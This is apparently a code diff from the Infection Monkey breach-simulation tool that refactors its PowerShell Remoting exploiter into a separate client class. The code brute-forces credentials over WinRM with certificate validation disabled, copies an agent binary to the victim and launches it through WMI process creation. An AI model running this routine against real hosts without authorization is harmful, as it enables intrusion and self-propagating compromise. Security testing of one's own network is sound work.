Agent: Extract PowerShellClient from PowerShellExploiter

monkey/infection_monkey/exploit/powershell.py

@@ -1,16 +1,10 @@
 import logging
 import os
-from typing import Optional, Union
+from typing import List, Optional
-
-import pypsrp
-import spnego
-from pypsrp.exceptions import AuthenticationError
-from pypsrp.powershell import PowerShell, RunspacePool
-from urllib3 import connectionpool
 
 import infection_monkey.monkeyfs as monkeyfs
 from common.utils.exploit_enum import ExploitType
-from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
+from infection_monkey.exploit.consts import WIN_ARCH_32
 from infection_monkey.exploit.HostExploiter import HostExploiter
 from infection_monkey.exploit.powershell_utils import utils
 from infection_monkey.exploit.powershell_utils.auth_options import (
@@ -20,15 +14,16 @@ from infection_monkey.exploit.powershell_utils.auth_options import (
     get_auth_options,
 )
 from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials
-from infection_monkey.exploit.powershell_utils.utils import (
+from infection_monkey.exploit.powershell_utils.powershell_client import (
-    IClient,
+    AuthenticationError,
-    get_client_based_on_auth_options,
+    IPowerShellClient,
+    PowerShellClient,
 )
 from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
-from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost
+from infection_monkey.model import VictimHost
 from infection_monkey.utils.environment import is_windows_os
 
-LOG = logging.getLogger(__name__)
+logger = logging.getLogger(__name__)
 
 TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
 
@@ -43,17 +38,8 @@ class PowerShellExploiter(HostExploiter):
     _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
 
     def __init__(self, host: VictimHost):
-        PowerShellExploiter._set_sensitive_packages_log_level_to_error()
-
         super().__init__(host)
-        self.client = None
+        self._client = None
-
-    @staticmethod
-    def _set_sensitive_packages_log_level_to_error():
-        # If root logger is inherited, extensive and potentially sensitive info could be logged
-        sensitive_packages = [pypsrp, spnego, connectionpool]
-        for package in sensitive_packages:
-            logging.getLogger(package.__name__).setLevel(logging.ERROR)
 
     def _exploit_host(self):
         try:
@@ -67,8 +53,8 @@ class PowerShellExploiter(HostExploiter):
         )
         auth_options = get_auth_options(credentials, is_https)
 
-        self.client = self._authenticate_via_brute_force(credentials, auth_options)
+        self._client = self._authenticate_via_brute_force(credentials, auth_options)
-        if not self.client:
+        if not self._client:
             return False
 
         return self._execute_monkey_agent_on_victim()
@@ -94,10 +80,10 @@ class PowerShellExploiter(HostExploiter):
             raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
 
     def _try_http(self):
-        self._try_ssl_login(self, use_ssl=False)
+        self._try_ssl_login(use_ssl=False)
 
     def _try_https(self):
-        self._try_ssl_login(self, use_ssl=True)
+        self._try_ssl_login(use_ssl=True)
 
     def _try_ssl_login(self, use_ssl: bool):
         credentials = Credentials(
@@ -111,16 +97,16 @@ class PowerShellExploiter(HostExploiter):
             ssl=use_ssl,
         )
 
-        self._authenticate(credentials, auth_options)
+        PowerShellClient(self.host.ip_addr, credentials, auth_options)
 
     def _authenticate_via_brute_force(
-        self, credentials: [Credentials], auth_options: [AuthOptions]
+        self, credentials: List[Credentials], auth_options: List[AuthOptions]
-    ) -> Optional[IClient]:
+    ) -> Optional[IPowerShellClient]:
         for (creds, opts) in zip(credentials, auth_options):
             try:
-                client = self._authenticate(creds, opts)
+                client = PowerShellClient(self.host.ip_addr, creds, opts)
 
-                LOG.info(
+                logger.info(
                     f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
                     f"{creds.username}"
                 )
@@ -128,7 +114,7 @@ class PowerShellExploiter(HostExploiter):
 
                 return client
             except Exception as ex:  # noqa: F841
-                LOG.debug(
+                logger.debug(
                     f"Error logging into {self.host.ip_addr} using Powershell. User: "
                     f"{creds.username}, Error: {ex}"
                 )
@@ -136,44 +122,38 @@ class PowerShellExploiter(HostExploiter):
 
         return None
 
-    def _authenticate(self, credentials: Credentials, auth_options: AuthOptions) -> IClient:
-        client = get_client_based_on_auth_options(self.host.ip_addr, credentials, auth_options)
-
-        # attempt to execute dir command to know if authentication was successful
-        client.execute_cmd("dir")
-
-        return client
-
     def _execute_monkey_agent_on_victim(self) -> bool:
-        arch = self._get_host_arch()
+        arch = self._client.get_host_architecture()
         self.is_32bit = arch == WIN_ARCH_32
-
+        logger.debug(f"Host architecture is {arch}")
-        self._write_virtual_file_to_local_path()
 
         monkey_path_on_victim = (
             self._config.dropper_target_path_win_32
             if self.is_32bit
             else self._config.dropper_target_path_win_64
         )
-        is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
 
+        is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
         if is_monkey_copy_successful:
+            logger.info("Successfully copied the monkey binary to the victim.")
             self._run_monkey_executable_on_victim(monkey_path_on_victim)
         else:
+            logger.error("Failed to copy the monkey binary to the victim.")
             return False
 
         return True
 
-    def _get_host_arch(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
+    def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool:
-        output = self._execute_cmd_on_host(GET_ARCH_WINDOWS)
+        self._write_virtual_file_to_local_path()
-        if "64-bit" in output:
-            return WIN_ARCH_64
-        else:
-            return WIN_ARCH_32
 
-    def _execute_cmd_on_host(self, cmd: str) -> str:
+        logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
-        output, _, _ = self.client.execute_cmd(cmd)
+        is_monkey_copy_successful = self._client.copy_file(
-        return output
+            TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim
+        )
+
+        os.remove(TEMP_MONKEY_BINARY_FILEPATH)
+
+        return is_monkey_copy_successful
 
     def _write_virtual_file_to_local_path(self) -> None:
         monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
@@ -182,30 +162,13 @@ class PowerShellExploiter(HostExploiter):
             with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
                 monkey_local_file.write(monkey_virtual_file.read())
 
-    def _copy_monkey_binary_to_victim(self, dest: str) -> bool:
-        LOG.debug(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
-        try:
-            self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest)
-            LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}")
-            return True
-        except Exception as ex:
-            LOG.error(f"Failed to copy the monkey agent binary to {self.host.ip_addr}: {ex}")
-            return False
-        finally:
-            os.remove(TEMP_MONKEY_BINARY_FILEPATH)
-
     def _run_monkey_executable_on_victim(self, executable_path) -> None:
         monkey_execution_command = utils.build_monkey_execution_command(
             self.host, get_monkey_depth() - 1, executable_path
         )
 
-        LOG.debug(
+        logger.info(
-            f"Attempting to execute the monkey agent on remote host "
+            f"Attempting to execute the monkey agent on remote host " f"{self.host.ip_addr}"
-            f'{self.host.ip_addr} with commmand "{monkey_execution_command}"'
         )
-        with self.client.wsman, RunspacePool(self.client.wsman) as pool:
+
-            ps = PowerShell(pool)
+        self._client.execute_cmd_as_detached_process(monkey_execution_command)
-            ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
-                "name", "create"
-            ).add_parameter("ArgumentList", monkey_execution_command)
-            ps.invoke()

monkey/infection_monkey/exploit/powershell_utils/powershell_client.py

@@ -0,0 +1,99 @@
+import abc
+import logging
+from typing import Union
+
+import pypsrp
+import spnego
+from pypsrp.client import Client
+from pypsrp.exceptions import AuthenticationError  # noqa: F401
+from pypsrp.powershell import PowerShell, RunspacePool
+from typing_extensions import Protocol
+from urllib3 import connectionpool
+
+from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
+from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
+from infection_monkey.exploit.powershell_utils.credentials import Credentials
+from infection_monkey.model import GET_ARCH_WINDOWS
+
+logger = logging.getLogger(__name__)
+
+CONNECTION_TIMEOUT = 3  # Seconds
+
+
+def _set_sensitive_packages_log_level_to_error():
+    # If root logger is inherited, extensive and potentially sensitive info could be logged
+    sensitive_packages = [pypsrp, spnego, connectionpool]
+    for package in sensitive_packages:
+        logging.getLogger(package.__name__).setLevel(logging.ERROR)
+
+
+class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
+    @abc.abstractmethod
+    def execute_cmd(self, cmd: str) -> str:
+        pass
+
+    @abc.abstractmethod
+    def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
+        pass
+
+    @abc.abstractmethod
+    def copy_file(self, src: str, dest: str) -> bool:
+        pass
+
+    @abc.abstractmethod
+    def execute_cmd_as_detached_process(self, cmd: str):
+        pass
+
+
+class PowerShellClient(IPowerShellClient):
+    def __init__(self, ip_addr, credentials: Credentials, auth_options: AuthOptions):
+        _set_sensitive_packages_log_level_to_error()
+
+        self._ip_addr = ip_addr
+        self._client = Client(
+            ip_addr,
+            username=credentials.username,
+            password=credentials.password,
+            cert_validation=False,
+            auth=auth_options.auth_type,
+            encryption=auth_options.encryption,
+            ssl=auth_options.ssl,
+            connection_timeout=CONNECTION_TIMEOUT,
+        )
+
+        # attempt to execute dir command to know if authentication was successful
+        self.execute_cmd("dir")
+
+    def execute_cmd(self, cmd: str) -> str:
+        output, _, _ = self._client.execute_cmd(cmd)
+        return output
+
+    def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
+        output = self._client.execute_cmd(GET_ARCH_WINDOWS)
+        if "64-bit" in output:
+            return WIN_ARCH_64
+
+        return WIN_ARCH_32
+
+    def copy_file(self, src: str, dest: str) -> bool:
+        try:
+            self._client.copy(src, dest)
+            logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
+
+            return True
+        except Exception as ex:
+            logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}")
+
+        return False
+
+    def execute_cmd_as_detached_process(self, cmd: str):
+        logger.debug(
+            f"Attempting to execute a command on the remote host as a detached process - "
+            f"Host: {self._ip_addr}, Command: {cmd}"
+        )
+        with self._client.wsman, RunspacePool(self._client.wsman) as pool:
+            ps = PowerShell(pool)
+            ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
+                "name", "create"
+            ).add_parameter("ArgumentList", cmd)
+            ps.invoke()

monkey/infection_monkey/exploit/powershell_utils/utils.py

@@ -1,8 +1,3 @@
-from pypsrp.client import Client
-from typing_extensions import Protocol
-
-from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
-from infection_monkey.exploit.powershell_utils.credentials import Credentials
 from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
 from infection_monkey.utils.commands import build_monkey_commandline
 
@@ -20,26 +15,3 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path
         "monkey_type": DROPPER_ARG,
         "parameters": monkey_params,
     }
-
-
-CONNECTION_TIMEOUT = 3  # Seconds
-
-
-class IClient(Protocol):
-    def execute_cmd(self, cmd: str):
-        pass
-
-
-def get_client_based_on_auth_options(
-    ip_addr: str, credentials: Credentials, auth_options: AuthOptions
-) -> IClient:
-    return Client(
-        ip_addr,
-        username=credentials.username,
-        password=credentials.password,
-        cert_validation=False,
-        auth=auth_options.auth_type,
-        encryption=auth_options.encryption,
-        ssl=auth_options.ssl,
-        connection_timeout=CONNECTION_TIMEOUT,
-    )